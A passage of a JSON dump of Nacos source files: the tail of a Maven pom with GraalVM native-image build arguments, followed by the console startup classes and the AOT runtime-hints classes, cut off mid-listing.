--initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.ServiceListRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.response.InstanceResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.response.QueryServiceResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.response.ServiceListResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.ClientDetectionRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.ConnectionSetupRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.ConnectResetRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.HealthCheckRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.PushAckRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.ServerCheckRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.ServerLoaderInfoRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.ServerReloadRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.request.SetupAckRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.ClientDetectionResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.ConnectResetResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.ErrorResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.HealthCheckResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.ServerCheckResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.ServerLoaderInfoResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.ServerReloadResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.remote.response.SetupAckResponse\n                                --initialize-at-run-time=com.alibaba.nacos.core.distributed.raft.NacosClosure\n                                --initialize-at-run-time=com.alibaba.nacos.core.monitor.GrpcServerThreadPoolMonitor\n                                --initialize-at-run-time=com.alibaba.nacos.core.remote.grpc.BaseGrpcServer\n                                --initialize-at-run-time=com.alibaba.nacos.core.remote.BaseRpcServer\n                                --initialize-at-run-time=com.alibaba.nacos.core.remote.grpc.GrpcBiStreamRequestAcceptor\n                                --initialize-at-run-time=com.alibaba.nacos.core.remote.grpc.GrpcClusterServer\n                                --initialize-at-run-time=com.alibaba.nacos.core.remote.grpc.GrpcSdkServer\n                                --initialize-at-run-time=com.alibaba.nacos.core.cluster.remote.request.MemberReportRequest\n                                --initialize-at-run-time=com.alibaba.nacos.core.cluster.remote.response.MemberReportResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest$ConfigListenContext\n                                --initialize-at-run-time=com.alibaba.nacos.naming.cluster.remote.request.DistroDataRequest\n                                --initialize-at-run-time=com.alibaba.nacos.naming.cluster.remote.response.DistroDataResponse\n                                \n                                --initialize-at-run-time=com.alibaba.nacos.plugin.auth.impl.jwt.NacosJwtPayload\n                                <!-- Build-time Hints -->\n                                --initialize-at-build-time=org.slf4j.LoggerFactory\n                                --initialize-at-build-time=ch.qos.logback.core.util.Loader\n                                --initialize-at-build-time=ch.qos.logback.core.status.InfoStatus\n                                --initialize-at-build-time=ch.qos.logback.classic.Logger\n                                --initialize-at-build-time=ch.qos.logback.core.util.StatusPrinter\n                                --initialize-at-build-time=ch.qos.logback.core.CoreConstants\n                                --initialize-at-build-time=ch.qos.logback.classic.Level\n                                --initialize-at-build-time=ch.qos.logback.core.status.StatusBase\n                                --initialize-at-build-time=ch.qos.logback.core.util.StatusPrinter2\n                            </buildArgs>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <id>build-native</id>\n                                <goals>\n                                    <goal>compile-no-fork</goal>\n                                </goals>\n                                <phase>package</phase>\n                            </execution>\n                            <execution>\n                                <id>add-reachability-metadata</id>\n                                <goals>\n                                    <goal>add-reachability-metadata</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/Nacos.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos;\n\nimport com.alibaba.nacos.console.aot.NacosRuntimeHints;\nimport com.alibaba.nacos.sys.filter.NacosTypeExcludeFilter;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.AutoConfigurationExcludeFilter;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.context.TypeExcludeFilter;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.FilterType;\nimport org.springframework.context.annotation.ImportRuntimeHints;\n\n/**\n * Nacos Full merged starter.\n * <p>\n * Use @SpringBootApplication and @ComponentScan at the same time, using CUSTOM type filter to control module enabled.\n * </p>\n *\n * @author nacos\n * @deprecated The old start up class will be removed, please use {@link NacosBootstrap} in nacos-bootstrap module instead.\n */\n@SpringBootApplication\n@ImportRuntimeHints(NacosRuntimeHints.class)\n@ComponentScan(basePackages = \"com.alibaba.nacos\", excludeFilters = {\n        @ComponentScan.Filter(type = FilterType.CUSTOM, classes = {NacosTypeExcludeFilter.class}),\n        @ComponentScan.Filter(type = FilterType.CUSTOM, classes = {TypeExcludeFilter.class}),\n        @ComponentScan.Filter(type = FilterType.CUSTOM, classes = {AutoConfigurationExcludeFilter.class})})\n@Deprecated\npublic class Nacos {\n    \n    public static void main(String[] args) {\n        SpringApplication.run(Nacos.class, args);\n    }\n    \n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/NacosConsole.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.autoconfigure.ldap.LdapAutoConfiguration;\nimport org.springframework.context.annotation.PropertySource;\nimport org.springframework.scheduling.annotation.EnableScheduling;\n\n/**\n * Nacos console starter.\n *\n * @author xiweng.yy\n */\n@SpringBootApplication(exclude = LdapAutoConfiguration.class)\n@PropertySource(\"classpath:nacos-console.properties\")\n@EnableScheduling\npublic class NacosConsole {\n    \n    public static void main(String[] args) {\n        SpringApplication.run(NacosConsole.class, args);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/NacosConsoleStartUp.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.core.exception.ErrorCode;\nimport com.alibaba.nacos.core.listener.startup.AbstractNacosStartUp;\nimport com.alibaba.nacos.core.listener.startup.NacosStartUp;\nimport com.alibaba.nacos.sys.env.Constants;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.utils.DiskUtils;\nimport com.alibaba.nacos.sys.utils.InetUtils;\nimport org.slf4j.Logger;\nimport org.springframework.boot.env.OriginTrackedMapPropertySource;\nimport org.springframework.core.env.ConfigurableEnvironment;\n\nimport java.io.File;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Nacos Server Web API start up phase.\n *\n * @author xiweng.yy\n */\npublic class NacosConsoleStartUp extends AbstractNacosStartUp {\n    \n    private static final String MODE_PROPERTY_KEY_STAND_MODE = \"nacos.mode\";\n    \n    private static final String MODE_PROPERTY_KEY_FUNCTION_MODE = \"nacos.function.mode\";\n    \n    private static final String NACOS_MODE_STAND_ALONE = \"stand alone\";\n    \n    private static final String DEFAULT_FUNCTION_MODE = \"All\";\n    \n    private static final String LOCAL_IP_PROPERTY_KEY = \"nacos.local.ip\";\n    \n    private static final String NACOS_APPLICATION_CONF = \"nacos_application_conf\";\n    \n    private static final Map<String, Object> SOURCES = new ConcurrentHashMap<>();\n    \n    private boolean isConsoleDeploymentType;\n    \n    public NacosConsoleStartUp() {\n        super(NacosStartUp.CONSOLE_START_UP_PHASE);\n    }\n    \n    @Override\n    protected String getPhaseNameInStartingInfo() {\n        return \"Nacos Console\";\n    }\n    \n    @Override\n    public String[] makeWorkDir() {\n        isConsoleDeploymentType = Constants.NACOS_DEPLOYMENT_TYPE_CONSOLE.equals(\n                System.getProperty(Constants.NACOS_DEPLOYMENT_TYPE));\n        if (isConsoleDeploymentType) {\n            try {\n                Path path = Paths.get(EnvUtil.getNacosHome(), \"logs\");\n                DiskUtils.forceMkdir(new File(path.toUri()));\n            } catch (Exception e) {\n                throw new NacosRuntimeException(ErrorCode.IOMakeDirError.getCode(), e);\n            }\n            return new String[] {EnvUtil.getNacosHome() + File.separator + \"logs\"};\n        }\n        return super.makeWorkDir();\n    }\n    \n    @Override\n    public void injectEnvironment(ConfigurableEnvironment environment) {\n        if (isConsoleDeploymentType) {\n            EnvUtil.setEnvironment(environment);\n        }\n    }\n    \n    @Override\n    public void loadPreProperties(ConfigurableEnvironment environment) {\n        if (isConsoleDeploymentType) {\n            try {\n                SOURCES.putAll(EnvUtil.loadProperties(EnvUtil.getApplicationConfFileResource()));\n                environment.getPropertySources()\n                        .addLast(new OriginTrackedMapPropertySource(NACOS_APPLICATION_CONF, SOURCES));\n            } catch (Exception e) {\n                throw new NacosRuntimeException(NacosException.SERVER_ERROR, e);\n            }\n        }\n    }\n    \n    @Override\n    public void initSystemProperty() {\n        if (isConsoleDeploymentType) {\n            System.setProperty(LOCAL_IP_PROPERTY_KEY, InetUtils.getSelfIP());\n            System.setProperty(MODE_PROPERTY_KEY_STAND_MODE, NACOS_MODE_STAND_ALONE);\n            if (EnvUtil.getFunctionMode() == null) {\n                System.setProperty(MODE_PROPERTY_KEY_FUNCTION_MODE, DEFAULT_FUNCTION_MODE);\n            } else if (EnvUtil.FUNCTION_MODE_CONFIG.equals(EnvUtil.getFunctionMode())) {\n                System.setProperty(MODE_PROPERTY_KEY_FUNCTION_MODE, EnvUtil.FUNCTION_MODE_CONFIG);\n            } else if (EnvUtil.FUNCTION_MODE_NAMING.equals(EnvUtil.getFunctionMode())) {\n                System.setProperty(MODE_PROPERTY_KEY_FUNCTION_MODE, EnvUtil.FUNCTION_MODE_NAMING);\n            }\n        }\n    }\n    \n    @Override\n    public void logStarted(Logger logger) {\n        long endTimestamp = System.currentTimeMillis();\n        long startupCost = endTimestamp - getStartTimestamp();\n        logger.info(\"Nacos Console started successfully in {} ms\", startupCost);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/aot/AotConfiguration.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.aot;\n\nimport org.rocksdb.NativeLibraryLoader;\n\nimport java.lang.reflect.Field;\n\n/**\n * Help graalvm and spring-aot find specific native file from jar like rocksdb.\n *\n * @author Dioxide.CN\n * @date 2024/8/16\n * @since 2.4.0\n */\npublic class AotConfiguration {\n\n    /**\n     * To help find rocksdb inner fields' value.\n     */\n    public static String reflectToNativeLibraryLoader() {\n        Class<NativeLibraryLoader> clazz = NativeLibraryLoader.class;\n        try {\n            Field jniLibraryFileNameField = clazz.getDeclaredField(\"jniLibraryFileName\");\n            jniLibraryFileNameField.setAccessible(true);\n            Field fallbackJniLibraryFileNameField = clazz.getDeclaredField(\"fallbackJniLibraryFileName\");\n            fallbackJniLibraryFileNameField.setAccessible(true);\n            return (String) jniLibraryFileNameField.get(null);\n        } catch (NoSuchFieldException\n                 | IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/aot/NacosRuntimeHints.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.aot;\n\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceView;\nimport org.springframework.aot.hint.MemberCategory;\nimport org.springframework.aot.hint.RuntimeHints;\nimport org.springframework.aot.hint.RuntimeHintsRegistrar;\n\nimport java.io.Serializable;\nimport java.util.List;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.stream.Stream;\n\n/**\n * Add nacos runtime hints support.\n *\n * @author Dioxide.CN\n * @date 2024/8/6\n * @since 2.4.0\n */\n@SuppressWarnings(\"all\")\npublic class NacosRuntimeHints implements RuntimeHintsRegistrar {\n    \n    // region Java\n    private final Class<?>[] javaClasses = {byte.class, byte.class, byte[].class, boolean.class, Object.class,\n            Integer.class, com.sun.management.GarbageCollectorMXBean.class, com.sun.management.GcInfo.class,\n            sun.misc.Unsafe.class, java.io.PrintWriter.class, java.lang.Double.class,\n            java.lang.management.MemoryUsage.class, java.lang.management.BufferPoolMXBean.class,\n            java.lang.management.ClassLoadingMXBean.class, java.lang.management.CompilationMXBean.class,\n            java.lang.management.MemoryMXBean.class, java.lang.management.MemoryManagerMXBean.class,\n            java.lang.management.MemoryPoolMXBean.class, java.lang.management.MonitorInfo.class,\n            java.lang.management.ManagementPermission.class, java.lang.management.ThreadMXBean.class,\n            java.lang.management.ThreadInfo.class, java.lang.management.LockInfo.class, java.lang.System.class,\n            java.lang.Thread.class, java.net.InetSocketAddress.class, java.nio.ByteBuffer.class,\n            java.nio.channels.SelectableChannel.class, java.nio.channels.SocketChannel.class,\n            java.nio.channels.FileChannel.class, java.security.AccessController.class, java.sql.Date.class,\n            java.sql.Driver.class, java.sql.DriverManager.class, java.sql.Time.class, java.sql.Timestamp.class,\n            java.util.concurrent.locks.LockSupport.class, java.util.Optional.class, java.util.Properties.class};\n    // endregion\n    \n    // region Hessian\n    private final Class<?>[] hessianClasses = {com.caucho.hessian.io.Hessian2Input.class,\n            com.caucho.hessian.io.ContextSerializerFactory.class};\n    // endregion\n    \n        // region SQL\n        // TODO: Replace hard Derby class literals with optional reflection-based registration,\n        //       then remove direct Derby compile dependency from console.\n    private final Class<?>[] sqlClasses = {org.apache.derby.impl.store.raw.data.CachedPage.class,\n            org.apache.derby.catalog.types.TypesImplInstanceGetter.class,\n            org.apache.derby.impl.services.uuid.BasicUUIDGetter.class, org.apache.derby.iapi.types.DTSClassInfo.class,\n            org.apache.derby.iapi.services.loader.ClassInfo.class, org.apache.derby.impl.io.DirStorageFactory.class,\n            org.apache.derby.impl.store.raw.log.LogRecord.class, org.apache.derby.impl.store.raw.xact.XactId.class,\n            org.apache.derby.impl.store.raw.log.CheckpointOperation.class,\n            org.apache.derby.impl.store.raw.xact.TransactionTable.class,\n            org.apache.derby.impl.store.raw.xact.TransactionTableEntry.class,\n            org.apache.derby.impl.store.raw.log.LogCounter.class,\n            org.apache.derby.impl.store.raw.log.ChecksumOperation.class,\n            org.apache.derby.impl.store.raw.data.BaseDataFileFactoryJ4.class,\n            org.apache.derby.impl.store.raw.xact.XactFactory.class, org.apache.derby.impl.store.raw.log.ReadOnly.class,\n            org.apache.derby.impl.store.raw.xact.BeginXact.class, org.apache.derby.impl.store.raw.xact.EndXact.class,\n            org.apache.derby.impl.store.raw.data.ContainerOperation.class,\n            org.apache.derby.impl.store.raw.data.InitPageOperation.class,\n            org.apache.derby.impl.store.raw.data.AllocPageOperation.class,\n            org.apache.derby.impl.store.raw.data.InsertOperation.class,\n            org.apache.derby.impl.store.raw.data.LogicalUndoOperation.class,\n            org.apache.derby.impl.store.raw.data.InvalidatePageOperation.class,\n            org.apache.derby.impl.store.raw.data.EncryptContainerOperation.class,\n            org.apache.derby.impl.store.raw.data.EncryptContainerUndoOperation.class,\n            org.apache.derby.impl.store.raw.data.CopyRowsOperation.class,\n            org.apache.derby.impl.store.raw.data.ContainerUndoOperation.class,\n            org.apache.derby.impl.store.raw.data.CompressSpacePageOperation.class,\n            org.apache.derby.impl.store.raw.data.CompressSpacePageOperation10_2.class,\n            org.apache.derby.impl.store.raw.data.ChainAllocPageOperation.class,\n            org.apache.derby.jdbc.AutoloadedDriver.class, org.apache.derby.jdbc.InternalDriver.class,\n            org.apache.derby.jdbc.Driver42.class, org.apache.derby.jdbc.EmbeddedDriver.class,\n            org.apache.derby.jdbc.ResourceAdapterImpl.class, org.apache.derby.iapi.jdbc.DRDAServerStarter.class,\n            org.apache.derby.iapi.jdbc.JDBCBoot.class, org.apache.derby.iapi.security.SecurityUtil.class,\n            org.apache.derby.iapi.services.monitor.Monitor.class,\n            org.apache.derby.iapi.services.stream.InfoStreams.class,\n            org.apache.derby.impl.services.monitor.FileMonitor.class,\n            org.apache.derby.impl.services.jmx.JMXManagementService.class,\n            org.apache.derby.impl.services.cache.ConcurrentCacheFactory.class,\n            org.apache.derby.impl.services.locks.ConcurrentPool.class,\n            org.apache.derby.impl.services.jce.JCECipherFactoryBuilder.class,\n            org.apache.derby.iapi.types.DataValueFactoryImpl.class,\n            org.apache.derby.impl.store.raw.data.BaseDataFileFactory.class,\n            org.apache.derby.impl.store.replication.master.MasterController.class,\n            org.apache.derby.impl.sql.execute.RealResultSetStatisticsFactory.class,\n            org.apache.derby.impl.jdbc.authentication.NoneAuthenticationServiceImpl.class,\n            org.apache.derby.iapi.services.property.PropertyValidation.class,\n            org.apache.derby.impl.sql.conn.GenericLanguageConnectionFactory.class,\n            org.apache.derby.impl.sql.compile.OptimizerFactoryImpl.class,\n            org.apache.derby.impl.services.bytecode.BCJava.class,\n            org.apache.derby.impl.sql.execute.xplain.XPLAINFactory.class,\n            org.apache.derby.impl.sql.compile.TypeCompilerFactoryImpl.class,\n            org.apache.derby.impl.sql.catalog.DataDictionaryImpl.class,\n            org.apache.derby.impl.sql.execute.GenericExecutionFactory.class,\n            org.apache.derby.impl.services.daemon.SingleThreadDaemonFactory.class,\n            org.apache.derby.impl.services.timer.SingletonTimerFactory.class,\n            org.apache.derby.impl.jdbc.authentication.BasicAuthenticationServiceImpl.class,\n            org.apache.derby.impl.db.BasicDatabase.class, org.apache.derby.impl.services.stream.SingleStream.class,\n            org.apache.derby.impl.jdbc.authentication.NativeAuthenticationServiceImpl.class,\n            org.apache.derby.impl.store.access.sort.ExternalSortFactory.class,\n            org.apache.derby.impl.jdbc.authentication.SpecificAuthenticationServiceImpl.class,\n            org.apache.derby.impl.store.access.sort.UniqueWithDuplicateNullsExternalSortFactory.class,\n            org.apache.derby.impl.services.reflect.ReflectClassesJava2.class,\n            org.apache.derby.impl.jdbc.authentication.JNDIAuthenticationService.class,\n            org.apache.derby.impl.store.raw.log.LogToFile.class,\n            org.apache.derby.impl.store.access.heap.HeapConglomerateFactory.class,\n            org.apache.derby.impl.db.SlaveDatabase.class,\n            org.apache.derby.impl.services.jmxnone.NoManagementService.class,\n            org.apache.derby.impl.store.access.RllRAMAccessManager.class,\n            org.apache.derby.impl.store.replication.slave.SlaveController.class,\n            org.apache.derby.impl.sql.GenericLanguageFactory.class,\n            org.apache.derby.impl.services.uuid.BasicUUIDFactory.class, org.apache.derby.impl.store.raw.RawStore.class,\n            org.apache.derby.impl.store.access.btree.index.B2IFactory.class, com.zaxxer.hikari.HikariConfig.class,\n            \n            // hard code\n            Class.forName(\"org.apache.derby.impl.services.monitor.ModuleInstance\"),\n            Class.forName(\"org.apache.derby.impl.services.monitor.ProtocolKey\"),\n            Class.forName(\"org.apache.derby.impl.services.monitor.TopService\"),\n            Class.forName(\"org.apache.derby.iapi.services.cache.ClassSizeCatalogImpl\"),\n            \n            com.alibaba.nacos.persistence.datasource.ExternalDataSourceProperties.class};\n    // endregion\n    \n    // region JRaft Entity\n    private final Class<?>[] jraftDataClasses = {com.alipay.sofa.jraft.entity.LocalFileMetaOutter.LocalFileMeta.class,\n            com.alipay.sofa.jraft.entity.LocalFileMetaOutter.LocalFileMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.LogPBMeta.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.LogPBMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.StablePBMeta.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.StablePBMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.ConfigurationPBMeta.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.ConfigurationPBMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.LocalSnapshotPbMeta.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.LocalSnapshotPbMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.LocalSnapshotPbMeta.File.class,\n            com.alipay.sofa.jraft.entity.LocalStorageOutter.LocalSnapshotPbMeta.File.Builder.class,\n            com.alipay.sofa.jraft.entity.RaftOutter.EntryMeta.class,\n            com.alipay.sofa.jraft.entity.RaftOutter.EntryMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.RaftOutter.SnapshotMeta.class,\n            com.alipay.sofa.jraft.entity.RaftOutter.SnapshotMeta.Builder.class,\n            com.alipay.sofa.jraft.entity.codec.v2.LogOutter.PBLogEntry.class,\n            com.alipay.sofa.jraft.entity.codec.v2.LogOutter.PBLogEntry.Builder.class,};\n    // endregion\n    \n    // region JRaft RPC\n    private final Class<?>[] jraftRpcClasses = {com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequestHeader.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequestHeader.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.PingRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.PingRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.ErrorResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.ErrorResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.RequestVoteRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.RequestVoteRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.RequestVoteResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.RequestVoteResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.GetFileRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.GetFileRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.GetFileResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.GetFileResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.ReadIndexRequest.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.ReadIndexRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.ReadIndexResponse.class,\n            com.alipay.sofa.jraft.rpc.RpcRequests.ReadIndexResponse.Builder.class};\n    // endregion\n    \n    // region JRaft CLI\n    private final Class<?>[] jraftCliClasses = {com.alipay.sofa.jraft.rpc.CliRequests.LearnersOpResponse.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.LearnersOpResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ResetLearnersRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ResetLearnersRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.RemoveLearnersRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.RemoveLearnersRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.AddLearnersRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.AddLearnersRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetPeersResponse.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetPeersResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetPeersRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetPeersRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetLeaderResponse.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetLeaderResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetLeaderRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.GetLeaderRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.TransferLeaderRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.TransferLeaderRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ResetPeerRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ResetPeerRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.SnapshotRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.SnapshotRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ChangePeersResponse.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ChangePeersResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ChangePeersRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.ChangePeersRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.RemovePeerResponse.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.RemovePeerResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.RemovePeerRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.RemovePeerRequest.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.AddPeerResponse.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.AddPeerResponse.Builder.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.AddPeerRequest.class,\n            com.alipay.sofa.jraft.rpc.CliRequests.AddPeerRequest.Builder.class};\n    // endregion\n    \n    // region JRaft Service\n    private final Class<?>[] jraftUtilClasses = 